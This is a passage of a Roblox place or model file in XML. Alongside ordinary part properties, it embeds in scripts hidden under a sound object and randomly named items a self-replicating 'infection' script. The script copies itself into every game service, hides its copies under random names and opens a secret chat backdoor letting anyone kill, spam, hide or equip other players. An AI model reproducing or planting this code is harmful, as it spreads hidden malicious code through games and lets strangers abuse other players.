local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX886">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-168</X>
					<Y>69.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX887">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX888">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX889">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">teleporter</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX890">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1001</int>
					<CoordinateFrame name="CFrame">
						<X>-150</X>
						<Y>1</Y>
						<Z>39</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">tele1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
